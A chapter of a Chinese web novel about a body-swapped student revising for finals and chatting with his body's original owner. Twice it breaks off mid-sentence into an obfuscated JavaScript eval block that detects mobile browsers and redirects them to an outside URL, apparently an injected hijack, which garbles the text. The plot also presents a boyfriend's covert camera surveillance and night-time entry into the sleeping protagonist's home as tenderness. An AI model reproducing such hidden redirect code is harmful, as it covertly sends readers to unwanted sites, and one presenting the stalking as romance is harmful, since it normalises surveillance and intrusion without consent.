他在医院里过了十八年,从来没有经历过。 这是第一次,也可能是最后一次。 “愣着干嘛?找位置啊。” 祈愿从他身边挤过去,头也不回地往里走,沈恪赶紧跟上。祈愿拉着他逛了两层楼,才在三楼角落找到一张空桌子。 安阳一屁股坐下,整个人往桌上一趴:“我完了。” 顾云岚坐在他旁边,面无表情地翻开书:“你哪次不完?” “这次不一样!”安阳抬起头,眼底有明显的黑眼圈,“这次我有三门课什么都没听,全靠你了老顾!” 顾云岚没说话,只是把自己那摞笔记本往他那边推了推。 安阳立刻抱住,像抱着救命稻草。 “顾云岚,你成绩很好吗?”沈恪好奇发问。 顾云岚瞥了他一眼,没做回答。 安阳点头:“年级前三吧。我也不知道他怎么学的,平时看他也没怎么看书。” 祈愿在旁边冷笑:“人家上课听讲的时候你在睡觉,当然不知道。” 安阳:“……你多嘴了。” 沈恪低头继续看笔记。 金融好难。 真的好难。 沈恪盯着那些公式,感觉它们在自己脑子里打架。什么现值、终值、折现率,每一个字都认识,连在一起就看不懂了。 祈愿看了一眼他的笔记,沉默了三秒。 “……你做的?” 沈恪点头。 祈愿又沉默了。 然后他把自己的笔记拍在沈恪面前:“看我的。” 沈恪翻开,愣住了。 祈愿的笔记比他详细十倍。每一页都有不同颜色的标注,重点、考点、易错点,分得清清楚楚。 “你……做得好详细啊。”他小声说。 祈愿翻了个白眼:“不然呢?你以为谁都跟你一样笨?” 安阳在旁边幽幽地来了一句:“他以前从来不做笔记,都是考前突击。” “还说你俩没一腿?” 沈恪愣住,他看向祈愿。 祈愿别过脸,假装在看窗外。 他坐回沈恪对面,翘着二郎腿,手里转着笔,面前摊着一本书,但眼睛根本不在书上。他盯着窗外发呆,偶尔低头看一眼手机,然后继续发呆。 沈恪忍不住问:“你不复习吗?” 祈愿瞥了他一眼:“复习什么?” “就是……期末考试啊。” 祈愿哦了一声,把书翻了一页:“看一眼就行。” 沈恪:“……” 他想起安阳刚才的鬼哭狼嚎,再看看祈愿这副吊儿郎当的样子,忽然觉得这个世界很不公平。 两天后,沈恪明白了这种不公平叫什么。 那天他们一起去图书馆,安阳还在哀嚎,顾云岚面无表情地给他划重点。祈愿坐在旁边,手机放在书上,一边刷视频一边偶尔往下瞟一眼。 沈恪忍不住问:“还是复习一下吧?不然你考试怎么办?” “看一眼就行了。” 又是这句话。 沈恪盯着他看了一会儿,忽然想起安阳之前吐槽过的话: “祈愿那小子,平时看着比谁都摆烂,一到考试就随便翻翻书,然后考得比谁都好。你说气不气人?” 当时沈恪没当回事。现在他看着祈愿这副拿书做手机支架的模样,忽然就理解了安阳的心情。 祈愿平常看着一副不良青年的模样,总穿着那件杀马特到不行的黑色外套,顶着一头灰蓝色的凌乱发型,耳朵上还戴着那种亮闪闪的耳钉。整个人往那儿一靠,就是那种老师会在班会上点名批评的类型。 但他随便翻翻书就能考好。 沈恪想起自己以前在医院里,护士姐姐帮他补课的时候,他得反复看好几遍才能记住一个知识点。有时候太累了,看着看着就睡着了。 如果他有祈愿这样的脑子…… 他甩甩头,把这个念头甩出去。 没什么好嫉妒的,每个人都有自己的路。 但他还是忍不住又多看了祈愿一眼。 可恶啊,真不公平。 祈愿忽然抬起头,对上他的目光。 “看什么?” 沈恪连忙移开视线:“没、没什么。” 祈愿挑了挑眉,没再问。 但沈恪的脸有点热。 他低头,假装在看书。 旁边安阳还在哀嚎,顾云岚面无表情地给他讲题,祈愿继续把手机当支架。 阳光从窗户照进来,落在这张乱糟糟的桌子上。 沈恪忽然觉得,这样的日子挺好的。 要是能一直这样就好了。 *** 每天傍晚,白越都会来。 有时候带饭,有时候带粥,有时候带一杯热奶茶。他坐在沈恪旁边,安静地看他吃,偶尔伸手帮他理一理被风吹乱的头发。 沈恪一开始会脸红,后来习惯了。 但安阳他们不会。 “哟,白少爷又来送饭了?”安阳每次看见白越,都要贱兮兮地凑过来,“温大爷,你这待遇也太好了吧?左一个白越右一个祈愿,我去羡慕死我……哎我测老顾你干嘛!” 顾云岚在他的腰上重重一掐,眼神示意他闭嘴。 沈恪的脸瞬间爆红,不知道怎么接。 祈愿在旁边翻白眼:“扯我干什么?人家两口子的事,你管那么多干嘛。” “我就问问嘛。”安阳揉着腰,笑嘻嘻的,“温大爷,你是不是妻管严啊?白越一来你就乖得跟什么似的。” 沈恪:“……我没有。” “还没有?”安阳指着他的脸,“你看你看,又红了!” 沈恪想反驳,但发现自己确实在脸红。 白越在旁边轻轻笑了一声。 沈恪更窘了。 祈愿一把拽过安阳:“走了走了,别在这儿碍眼。” 安阳被拖走的时候还在喊:“温少你要支棱起来啊!不能被管得太死——” 声音越来越远。 沈恪低着头,不敢看白越。 白越没说话,只是把奶茶往他手边推了推。 有一次他复习到很晚,趴在桌上睡着了。 醒来的时候,发现自己枕着一件外套。 白越的外套。 他愣了一下,抬起头。白越坐在旁边,手里拿着他的笔记正在帮他划重点。窗外的天已经黑了,图书馆的灯亮着,落在他侧脸上,看着温柔又缱绻。 沈恪忽然闻到一阵淡淡的香气。 木质的,有点像雨后松林的味道,淡淡的,很好闻。 他最近好像经常换香水。 每次靠近白越,都会闻到不同的味道。但每一种都很香,很柔和,是他喜欢的味道。 沈恪愣愣地看着他。 白越转过头,对上他的视线,弯了弯眼睛。 “醒了?” 沈恪点头。 “饿不饿?” 沈恪摇头。 白越笑了笑,把手里的笔记递给他。 “这几个公式容易记错,我帮你标出来了。” 沈恪接过,低头看。 那几行字旁边,有白越用铅笔写的备注。字迹龙飞凤舞,一笔一划,像他的人一样突出。 “祈愿他们呢?”他问。 “先回宿舍了。”白越说,“让我跟你说一声。” 沈恪哦了一声,继续看书。 看了一会儿,他忽然感觉到手背上覆上了一层温热。 白越的手。 他低着头,眼睛盯着书本,手就那么自然地伸过来,覆在他的手背上。 沈恪的呼吸停了一瞬。 心跳开始加速。 他努力让自己看起来正常,但那些字已经一个都看不进去了。 “白越……”他的声音有点小,“你别这样。” 白越偏过头看他,眼睛弯弯的:“怎么了?” “你这样我……我看不进去书了。” 白越愣了一下。 然后他轻轻笑了一声,把手收了回去。 “抱歉。”他说,声音柔柔的,“下意识就……你继续看吧。” 他收回手,坐直身体,继续翻沈恪的笔记。 但沈恪发现,自己的心跳已经回不来正轨了。 他低着头,盯着书本,一个字都看不进去。 那道目光还是落在他身上。 不重,不轻,就是一直在。 *** 凌晨两点。 白越坐在书房里,耳机里传来沈恪的呼吸声。 均匀的,绵长的,一下一下。 他调出监控画面。 沈恪趴在书桌上,脸埋在手臂里,金色的头发散落下来,遮住了半边脸。桌上摊着课本和笔记,台灯还亮着,暖黄色的光照在他身上,把他整个人都笼进一层柔和的光里。 他的小鹌鹑睡着了。 复习着复习着,就睡着了。 白越的目光落在那张脸上,慢慢地描摹。 睫毛很长,安静地垂着,在眼睑下投出扇形的阴影。脸颊因为趴着睡而微微泛红,嘴唇轻轻抿着,像是梦里还在为什么事发愁。领口有点歪,露出一小截锁骨。 真好看。 白越想。 不管看多少次,都这么好看。 他看了很久才站起身,拿起外套出了门。 温清然别墅的密码他知道。 他的小鹌鹑笨笨的,防范意识约等于零,输密码的时候从来没有藏着掖着过。每次都是那几个数字,大大方方地按出来,像是根本没想过会有人专门去记这个。 但白越记住了。 他输入密码,门轻轻开了。 房间里很安静。只有楼上隐约传来的一点呼噜声。 白越没有开灯。他顺着楼梯走上去,推开书房的门。 沈恪还在那里趴着,姿势都没变。 白越走过去,站在他身边,低头看他。 这个角度,能看见他的额头,他的睫毛,他微微泛红的脸颊。那几缕散落的金发遮住了半边脸,白越伸出手,轻轻地把它们拨开。 动作很轻,轻得像怕惊扰到什么。 然后他弯下腰,在沈恪额头上落下一个吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265403|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 很轻,一触即分。 亲完之后,白越直起身,看向桌上的笔记。 他翻了几页,眉头微微皱起。 ……做得很烂。 公式记错了,概念写混了,有些地方明显是硬背的,根本没理解。 白越的嘴角弯了弯。 但第一次接触这些就能做成这样,已经很厉害了。 他在心里想。 在医院里住了十几年,没有老师,没有同学,没有人教你怎么考试。现在却要硬着头皮学这些,比谁都努力。 宝宝,很努力了。 很厉害了。 他低下头,又看了沈恪一眼。 那人还在睡着,什么都不知道。 剩下的,我来帮你。 白越从桌上拿起一叠便利贴,开始翻沈恪的课本。 每一页有问题的,他都贴上便利贴,写上正确的公式、简化的解释、更容易记住的方法。 有些地方,他甚至重新写了一份笔记,夹在对应的章节里。 动作很快,很轻,几乎没有发出声音。 等他贴完最后一页,窗外已经有点发白了。 白越把便利贴整理好,站起身。 他看见沈恪的手机还亮着,屏幕停留在和祈愿的聊天界面,电量只剩百分之三。 白越的目光从屏幕上扫过,没有停留。 他没去看他们聊了什么。他其实不是很在意他们聊天的内容。觊觎他男朋友的人多了,祈愿算什么?那个连喜欢都不敢承认、只会躲在“朋友”身份后面嘴硬的家伙,翻得起什么浪? 白越勾了勾嘴角。 他的小鹌鹑或许迟钝,但从来不会搞错该靠近谁。 他拿起手机插上充电线。然后弯下腰,轻轻把沈恪从椅子上抱起来。 比他想象中轻。 蜷在他怀里的时候,像一只睡着的小动物,呼吸均匀,毫无防备。 白越低头看他。 从书房到卧室,只有几步路。 但他走得很慢。 慢到能数清他的睫毛,能看清他因为被挪动而微微皱起的眉头,能感受到他呼吸落在自己颈侧的触感。 手臂不受控制地收紧了一点。 只是一点。 “唔……” 沈恪发出一声轻轻的嘤咛,眉头皱得更深了,像是被弄得不舒服,又像是在睡梦中本能地抗议。 白越的动作僵住了,停在卧室门口一动不敢动。 弄疼他了?弄醒他了? 他低下头,仔细看沈恪的脸。 还是睡着的。眉头微微皱着,但眼睛没睁开,呼吸也还是均匀的。 白越松了口气,但没有继续往前走。 他就那么站在门口,抱着沈恪,听着他的呼吸,感受着那具身体在自己怀里的温度。 想再收紧一点。 想把他揉进骨头里,揉到分不清谁是谁。 想让他醒过来,发现自己已经被嵌进去了,再也逃不掉。 他知道这个念头不对,知道自己只是在对一具壳子发疯,他想揉进去的是那个灵魂。 但他就是忍不住想。 不能着急。 他深吸一口气,把那点疯狂的念头压下去,继续往前走。 走到床边,他把沈恪轻轻放下。动作比刚才更轻,更小心。 沈恪动了动,往被子里缩了缩,嘴里含糊地嘟囔了一句什么。 白越听不清。 他只是站在床边,看着那个人缩成一团的样子。 被子里鼓起小小的一包,像只把自己埋起来的冬眠的小动物。 白越看了一会儿,忽然弯起嘴角。 他想起来,第一次见到沈恪的时候,他也是这样缩着的。当时的他在厨房里做菜庆祝自己终于突破了那个界限,刚刚穿越而来的沈恪缩在沙发上浑身发抖,对周围的环境迷茫无知,眼眶红红的,像只被雨淋透的鹌鹑。 那时候他想的是:真可怜。 现在他想的是:真可爱。 这两个念头之间,隔了多久? 他不知道。 他只知道,现在的他,看着这个鼓包,心里软得像化了的奶油。 他的手伸出去,想摸一摸那个鼓包。 伸到一半,又收回来。 不能再碰了。 他在心里说。 再碰就收不住了。 他应该走了。灯关了,门关了,明天早上再来。 但他没有动。 他就站在那里,看着那团鼓包,看着那偶尔动一下的被子,看着那只露出来一点点的蜷在枕边的手。 白越看着那只手,忽然想起它被自己握着的时候,软软的,温热的,乖乖待在他掌心里,偶尔会轻轻回握一下。 他的心又软了一点。 他往前走了一步。 弯下腰,凑近。极轻极轻地,在露出来的手背上落下一个吻。 然后他直起身,没有再多看一眼。 转身,关灯,走了出去。 门轻轻合上的那一刻,他在黑暗里站了一会儿。 刚才那一声……真软。 他想再听一遍。 天快要亮了。 白越站在走廊里,回头看了一下那扇关着的门。 他会不会发现? 可能会。 那些便利贴,那些笔记,那个充了电的手机,沈恪醒来之后,应该会发现吧? 他会怎么想? 会觉得是自己太困了记错了?还是会意识到有人来过? 白越弯了弯嘴角。 被发现也没关系。 他在心里想。 不如说,被发现了更好。 那样就不用再演了。 就可以告诉他:是我。我一直在。我什么都知道。 然后看他是什么反应。 会害怕吗?会逃跑吗?还是会…… 白越收敛笑意,转身下楼。 他推开门,走进清晨微凉的风里。 手机震了一下。 是监控的画面,沈恪翻了个身,把脸埋进枕头里,继续睡。 白越看着那张安静的睡颜,弯了弯嘴角。 睡吧,宝宝。 等你醒了,就知道有人来过。 不知道你会是什么表情。 *** 考试周第一天,沈恪收到一条消息。 屏幕上弹出一个好友申请,头像是“沈恪”的自拍照,昵称是简单的“W”,验证信息只有一行字: 【听说那对狗男女来找你了?】 沈恪盯着那行字看了三秒,才反应过来这是谁。 温清然。 他点了通过。 35. 校园生活 通过好友申请后,沈恪收到一条消息。 【W】咋样,他俩是不是很烦 沈恪看着那行字,犹豫了一下。 【然】说了一些催着订婚的话?我拒绝了,然后周姨就开始催着我和白越结婚…… 【W】笑嘻了 【W】我就知道他俩在意的不是性别是家世,俩狗东西脸上长了对势利眼 骂得好狠。 沈恪在心里小小吐槽了一下。 【然】要订婚诶,你居然一点也不震惊。 温清然回得很快。 【W】震惊什么,你想订婚就订呗,多大事儿。 什么叫“我想订婚就订”?! 沈恪被这番发言整懵了。 【然】我现在用的可是你的身体诶!你真的一点也不在乎吗? 对面秒回,带了点洋洋自得。 【W】咋样,我身材还不错吧,那玩意儿也大,看着有没有起星宇,喜欢送你了。 沈恪盯着屏幕,脸腾地红了。 什么“起星宇”?! 他反应了好几秒才明白过来是什么意思,然后整个人都不好了。 【然】不是,谁问你这个了! 【W】咋了,你天天用着,就不许我问问感受? 这人怎么这样啊! 【然】你能不能不要老说这样的话啊! 【W】不要 温清然发完这句,忽然换了个话题。 【W】说起来你这身子也太病弱了,完全没我结实耐造。一换季就感冒发烧咳嗽不止,你到底怎么长大的? 【W】还有你这去卫生间也不方便,出个门还老有人看着,我在病房里待着都快发霉了 沈恪看着那行字,一时不知道该怎么回。 他从小就是这样。身体不好,住院是常态,早就习惯了。 但温清然显然不习惯。 【然】……对不起。 【W】你道什么歉?又不是你把我塞进来的 【W】算了不说这个。听说你要考试了? 话题跳得也太快了吧。 沈恪还没反应过来,温清然又发了一条。 【W】什么课? 沈恪老老实实报了科目名。 对面沉默了一会儿。 【W】那个老师喜欢点名。每次我逃课他就刚好点名,烦的一批 沈恪:“……” 这是在提醒他? 【然】谢谢。 【W】谢什么,我就是好奇你能不能过。你在医院躺那么久,脑子都躺退化了,及格够呛吧 沈恪看着那行字,忍不住又想叹气。 温清然还是那个温清然。用安阳的话来说,就是非常嘴贱,说话自带一股味,不管是男的是女的是老的是少的,面对此等极品男时总是会忍不住想要给他两拳。如果不是他长得好看,早被人蒙着麻袋揍了,然后一半埋南极,一半埋北极。 沈恪默默地脑补了一下那个画面,居然觉得有点解气。 但他忽然想起一件事。 【然】你终于加我好友了,是不是有什么可以换回来的头绪了啊? 对面沉默了几秒。 【W】没有 【W】要有我早跑了,谁乐意替你躺医院 沈恪:“……” 行吧。 【W】我要去刷同城了,晚安。 沈恪看了一眼艳阳高照的大白天,陷入了沉思。 过了不到两分钟,消息提示音响起。 他连忙点开。 【W】【直播分享:甜甜小野猫的私房菜直播~主人你的专属男仆已经到场了喵~】 这是什么? 沈恪好奇点开,然后! 屏幕里一个只穿了半边围裙的肌肉男正在擦桌子,一边擦一边喘,嘴里还嗯嗯啊啊的。 没有任何前摇,沈恪整张脸肉眼可见地红了,如同烂熟的樱桃。 他手忙脚乱地关掉直播,手机差点摔地上。 【然】你怎么发这种东西啊!!! 【W】? 【W】不好看吗,我觉得这哥们挺带劲的,那胸肌,那腹肌,那臀,极品啊,喘得也好听 【然】我不看这种直播的! 【W】?你还是不是男的 【然】我当然是男的!但是、但是…… 他但是了半天,不知道该说什么。 【W】行了行了知道你纯情了 【W】以后有好东西不给你发了 沈恪看着那行字,也不知道该松口气还是该说什么。 【W】啧,臭乖乖仔 【W】睡了 沈恪看着那个“睡了”,又看了看窗外的大太阳。 他默默把手机放到一边,决定以后温清然发的链接一个都不点开。 …… 之后的日子里,温清然隔三差五发消息。 有时候问考试,有时候吐槽医院伙食,有时候突然冒出一句“那个老师划重点了吗”。 沈恪一开始很警惕,后来发现他真的就是无聊。 在病房里躺了三个月,能说话的人只有医生护士和祈愿,沈恪的爸妈开始会去看他,后面不知道为什么也不常去了。 【然】你想不想看看外面的照片? 【W】? 沈恪开始给他发照片。 图书馆的日落。食堂的糖醋里脊。安阳趴在桌上睡觉的丑照。祈愿翻白眼的表情包。 温清然一条一条看,回复很慢,但每条都回。 【W】那个糖醋里脊确实香,我以前经常吃,你啥时候打包一盒寄过来 【W】安阳那傻逼样我真服了 【W】祈愿那表情你偷拍的?牛逼,丑出天际了 沈恪看着那些回复,忽然觉得温清然其实也挺倒霉的。 本来可以安心过自己的少爷生活,结果一朝交换,变成了只能在病房里无聊刷手机的心脏病病人。 【W】好东西 【W】【直播分享:期末考高分秘籍!某985学长连夜整理,错过后悔一辈子】 沈恪看到这个标题,眼睛亮了一下。 期末考?高分? 他点了进去。 然后瞬间被屏幕上只穿了条丁字裤扭胯的男人创飞。 沈恪:“……” 他手忙脚乱地关掉,脸已经红透了。 【然】你!!! 【W】哈哈哈哈哈哈 【W】我还寻思改下直播分享的名字能不能给你骗到 【W】结果你真的点了?笑死我了哈哈哈哈卧槽真好骗怪不得都爱逗你 沈恪攥着手机,恨不得顺着网线爬过去打人。 【然】怎么骗人啊! 【W】我没骗你啊,确实高分 【W】你看他扭得多高XD 沈恪看着那行字,愣了好几秒才反应过来。 然后他的脸更红了。 【然】你太下头了!可不可以不要老给我发这种的啊! 【W】咋了,不好看吗 【W】多骚啊,你不喜欢这种?那下次给你发清纯的 沈恪不知道该怎么回。 他觉得不好看。他觉得尴尬。他觉得温清然怎么跟安阳吐槽的那种“在宿舍半夜刷擦边视频还外放”的傻逼男同学一模一样。 但他不好意思说。 【然】……你开心就好。 【W】?? 【W】你这人好没意思 沈恪盯着那行字,思考了一会。 这人发这种链接,居然还说自己没有意思? 他挠了挠头,实在不知道该回什么。 算了,不回了。 他把手机往旁边一放,继续看自己的书。 过了几分钟,手机又震了一下。 【W】? 【W】人呢? 【W】不会是去看那个直播了吧 【W】卧槽你口味这么重的吗 沈恪:“…………” 他拿起手机,打了几个字,又删掉。 再打,再删。 最后只发了一个: 【然】没有。 【W】那你干嘛不回我 【W】我这躺着无聊死了 沈恪看着那两行字,忽然有点想笑。 无聊死了,所以就来骚扰他? 他想起温清然说的那句“在病房里待着都快发霉了”,有些同情。一个人在病房里是什么感觉,他比谁都清楚。每天醒来面对同样的生活,窗外能看见的永远是那片灰蒙蒙的天。最开始还会期待有人来看自己,后来就不期待了。 因为期待也没用。 沈恪抿了抿唇。 温清然是真的下头。又下头又嘴贱,说话自带一股味,发过来的链接没一个正经的。 但他确实也挺可怜的,理一理他吧。 【然】你以后别给我发那种链接了,我就会回你的。 【W】哪种链接? 【W】你说小野猫那个?那不是艺术吗?你懂不懂欣赏? 沈恪脸一红,想起那个只穿了半边围裙的肌肉男,手指飞快地打字。 【然】那算什么艺术啊!不准再发了! 【W】行行行,不发就不发,你这人怎么这么纯情,看一眼又不会少块肉 沈恪看着那行字,又想起那个画面,耳尖又开始发烫。 【然】我不想看! 【W】知道了知道了,事儿多 沈恪放下手机,脸还是热的。 温清然这人真是…… 他叹了口气。 *** 最后一门考完那天是12月30日,阳光好得晃眼。 沈恪走出考场,站在门口被阳光刺得眯起眼,恍惚间觉得这几个月的校园生活就像一场梦。 祈愿从他身边路过,扔下一句“走了”,头也不回。 安阳在后面喊:“晚上聚餐啊!温大爷记得来!” 沈恪点点头,刚想应声,余光里就撞进一个人影。 白越站在不远处,手里拿着一束花。 是一小把白色的桔梗,牛皮纸包着,简单干净,和他这个人一样,明明站在那里,却好像没什么存在感,直到你看见他,才发现他一直在看你。 沈恪走过去。 “我提前交卷出来了。”白越笑着问,“考完了?” 沈恪点头。 白越把那束花递给他。 “辛苦了,宝宝。” 沈恪接过花,低头看那些小小的白色花瓣,安安静静地挤在一起。 他忽然觉得眼眶有点热。 不是因为这束花,是因为这一个月。 有人会在图书馆等他到闭馆,会给他带晚饭,会在考完试之后站在冬天的阳光里,等着他出来。 好像这就是理所当然的事。 “谢谢。”他小声说。 白越笑了笑,牵起他的手。 “走吧,去吃饭。” *** 聚餐选在学校附近的大排档。 安阳点了满满一桌,说要庆祝“终于考完了”。顾云岚坐在他旁边,安静地吃。祈愿刷着手机,偶尔抬眼扫一眼沈恪。 沈恪坐在白越旁边,被安阳灌了两杯啤酒,脸有点红。 “温大爷!”安阳举着杯子,“这学期你变了好多!以前这种聚餐你从来不来的!总说不开趴别喊你!” 沈恪愣了一下,下意识转头看向祈愿。 祈愿没看他,只是低头吃菜。 沈恪想起自己现在是“温清然”,不能露馅,只好端起杯子,和安阳碰了一下。 “人总是会变的。”他笑了下,尽量让自己看起来高深莫测一点。 安阳哈哈大笑,一口干了。 沈恪也喝了一口。啤酒有点苦,但温清然的身子还能接受。 白越在旁边,轻轻握了握他的手。 *** 晚上,沈恪躺在床上翻来覆去睡不着。 手机震了一下。 【W】考完了? 沈恪愣了一下。温清然居然主动发消息了。 【然】嗯。 【W】过了吗? 【然】应该……吧?有些题不会,但我都尽量写满了。 【W】那破课,我挂了三次 【W】你要是过了,记得告诉我 【W】让我知道那老师到底怎么想的,每次都给我59分,纯针对 沈恪看着那行字,忍不住笑了。 什么神人能一门课连挂三次啊。 【W】听祈愿说你明天要去买寿宴要穿的衣服? 【然】嗯,白越和祈愿陪我去。 对面沉默了几秒。 【W】…… 【W】他俩一起? 【然】对呀。 又沉默了。这次沉默得有点久。 然后: 【W】那你自求多福吧 【W】别到时候衣服没买成,人先被撕成两半 沈恪眨了眨眼,没太懂。 【然】不会的,他们人很好。 【W】………… 【然】O.O 对面安静了。 沈恪以为这个话题就这样过去了。 然后手机疯狂震动起来。 【W】不是,你等会儿? 【W】你说他俩人挺好?? 【W】白越??那个成天跟个鬼一样跟着我的那个白越??你管他叫人挺好?? 沈恪被这一连串的问号砸得有点懵。 【然】他确实挺好的啊。会照顾人,还很温柔…… 【W】温柔?????? 【W】他对你温柔是因为他把你当所有物了你懂不懂啊! 【W】你见过他真正发火的样子吗?我见过一次,妈的吓得我三天没睡好觉! 沈恪看着那行字,不知道该说什么。 他想起白越看自己的眼神,有时候确实会被盯得有点不好意思。 但那不是喜欢吗?喜欢一个人,所以才会一直盯着他啊。 【W】还有祈狗!他好??他人好?? 【W】他从小到大嘴就没停过!没事儿就骂我!我做什么他都看不顺眼!!天天跟老爷子打小报告扣我生活费,你管这叫好?? 沈恪想了想祈愿平时对自己的样子。 好像确实不太一样? 【然】可是祈愿真的帮我很多。醉酒的时候是他带我回的酒店,期末笔记是他给我划的,考试重点是他给我圈的,连怎么应付你爸妈都是他教的…… 【W】那是因为他闲的!!! 沈恪:“……” 温清然的愤怒显然没有结束。 【W】你知不知道他俩以前怎么对我的? 【W】白越那狗东西,表面装得温温柔柔的,实际上我走到哪他跟到哪,我谈恋爱他跟到哪,我分手他还跟到哪。我骂他他不还嘴,我打他他不还手,就那么阴恻恻地看着我。你知道那种感觉吗?你看过岛国恐怖片吗?跟他妈的被鬼盯上一样!你被他盯上你就完了,你懂吗,那男鬼憋了二十几年好不容易碰上你,一朝开水放闸能直接冲死你 沈恪眨了眨眼,不是很懂。 【然】可是他是不是喜欢你才跟着你啊? 【W】………… 【W】他那种人能搞懂喜欢是什么感情那真是夭寿了小怪兽殴打奥特曼了 【W】不对,这不是重点!!! 【W】还有祈愿!他是我发小!十几年的兄弟!结果呢?天天一副“你怎么又惹事了”的表情,我做什么他都能挑出毛病!我找个对象他说我糟蹋人,我分个手他说我渣男,我混日子他说我废物,我叫他出来玩他就说没空! 沈恪想了想。 【然】那他现在还这样吗? 【W】他现在没空骂我了 【W】他现在忙着对你好 沈恪看着那行字,不知道该说什么。 【W】你知道他一对上你就会变成傲娇不?偷偷摸摸帮你,偷偷摸摸看你,偷偷摸摸在那纠结。他纠结什么你知道吗?他纠结自己是不是喜欢上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265404|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个男的!之前还给我发消息说他觉得你好笨但是很萌!笑死我了,二十多年直男人设快塌了你知道吗! 【W】之前我说他恐同即深柜他还揍我,靠,没天理了 【W】不是凭啥啊我真破防了 沈恪看着那行字,有些无奈。 【然】你别造谣。 【W】我造谣?你去问祈愿,问他是直是弯,问他敢不敢看着你的眼睛说 【W】算了你别问,问了他该跑了 【W】哈哈哈哈哈 温清然发了一串大笑的表情。 沈恪蹙起了眉头打算反驳他,结果温清然的消息一条接一条。 【W】你以为他俩陪你买衣服是为什么? 【W】一个想占便宜,一个不想让另一个占便宜 【W】你夹在中间,他俩隔空打架 【W】你还觉得他俩人好? 沈恪看着那堆消息,彻底愣住了。 【然】……可能因为我比较笨?需要帮忙? 【W】6 然后: 【W】你能觉得他俩好? 【W】那我呢? 沈恪愣了一下。 【然】什么? 【W】不干嘛,好奇 【W】你觉得我好吗? 这个问题来得太突然。 沈恪盯着屏幕,认真想了想。 温清然这个人吧,难评。 他也会提醒自己老师爱点名,也会问自己考得怎么样,也会在这里说这么多话,尽管那些话听起来更像是诋毁,但……总归还是说了很多?没有功劳也有苦劳? 【然】还行吧? 对面沉默了。 然后消息像开闸的洪水一样涌出来。 【W】还行? 【W】就只是还行??? 【W】他俩一个阴湿病娇一个毒舌傲娇,你就说“人挺好的”! 【W】到我这儿就“还行”?? 【W】我认识你比他们早吧! 【W】这身体还是我的呢!你现在住的房子是我的!上的课是我的!连那个白越一开始也是我的! 【W】结果呢? 【W】你帮他俩说话,不帮我说话?? 沈恪被这一连串的控诉砸得眼冒金星。 【然】我、我没有不帮你说话…… 【W】那你倒是说点好听的啊! 沈恪绞尽脑汁。 【然】你……你身材挺好的? 对面沉默了。 沈恪以为自己说对了。 然后: 【W】你是不是在讽刺我? 【然】??我没有啊!是你自己之前说的啊! 【W】我想听的不是这个! 沈恪懵了。 那他该夸什么? 【W】算了 【W】不跟你说了 【W】心累 沈恪看着那行字,忽然觉得温清然好像真的有点委屈。 他想了想,认真打字。 【然】对不起,我不知道怎么夸你…… 对面没回复。 沈恪等了一会儿,正准备放下手机—— 【W】你夸我帅 沈恪被这莫名其妙的一句逗笑了,这人怎么这么幼稚。 【然】你帅 【W】夸我聪明 【然】你聪明 【W】夸我人品好 沈恪:“……” 这个有点难,太违心了。 但他还是硬着头皮打了。 【然】你人品好 【W】你是不是在想“这个有点难”? 他怎么知道?! 【W】你犹豫了?我就知道! 【W】算了,不逗你了 【W】本来想说点什么但还是算了。你跟白越现在挺好的。他要是敢对你不好,我让祈愿揍他 沈恪忽然有点想笑。 【然】你怎么让祈愿揍他? 【W】我就说“祈狗你喜欢的那个傻蛋被白越欺负了” 【W】他肯定会用出一生只有一次的闪现 沈恪:“……” 【W】祈愿也是 【W】他以前对我才没这么上心 【W】至于我 【W】我现在也还行吧 【W】毕竟也就只有你能说还行了 沈恪看着那行字,心里忽然有点酸酸的。 他想了一会儿,慢慢打字。 【然】温清然。 【W】干嘛? 【然】你觉得白越以前对你不真心,是因为你不让他对你好。你躲着他,骂他,打他,他就算想对你好也没办法。祈愿以前不帮你,是因为你不要他帮。你觉得他烦,你觉得他管太多,他就不管了。 对面没有回复。 沈恪继续打字。 【然】他们对我好,是因为我好。我对他们好,也是因为他们愿意接受我的好。白越做饭我就夸他,他送花我就开心,他夸我我就夸他,他牵我的手我就让他牵。祈愿帮我,我就谢谢他,他说什么我都会听,他叫我出来玩我就去。 【然】你其实也可以的。 对面沉默了很久,久到沈恪以为他又去看同城了,然后消息弹出来。 【W】你是真的傻还是装傻? 【然】应该是真傻? 【W】…… 【W】截图了 【W】以后你就是我亲口认证的傻子了 沈恪忍不住笑了。 【W】不跟你说了 【W】明天买衣服直接刷我的余额,去寿宴上别整那么磕碜,给我丢面 【然】好。 【W】还有 【W】我刚才说那些,你就当我放屁 【W】他俩对你好是他们的事 【W】你开心就行 【然】温清然 【W】干嘛? 【然】不聊那些下头话题的话,你人真的挺好的。 对面又沉默了。 然后: 【W】…… 【W】你是真的傻 【然】可能吧? 【W】跟你说话我就来气,睡觉了,再理你我是狗 沈恪正准备放下手机。 【W】【直播分享:深夜男模在线发牌,兄弟们冲啊!!!】 沈恪:“……” 什么跟什么啊这个人。 就像往化粪池里丢了个鞭炮,噼里啪啦炸完就跑。就留下他一个人,对着那些话发呆。 白越……以前对温清然那么差吗?可是他不是很喜欢温清然吗? 祈愿又在纠结什么?难道他真的喜欢自己? 他想起那两个人以前看自己的眼神,好像确实有点奇怪。 但他想不明白。 温清然说那些话的时候,好像很生气,又好像……不太生气。 沈恪翻了个身,把脸埋进枕头里。 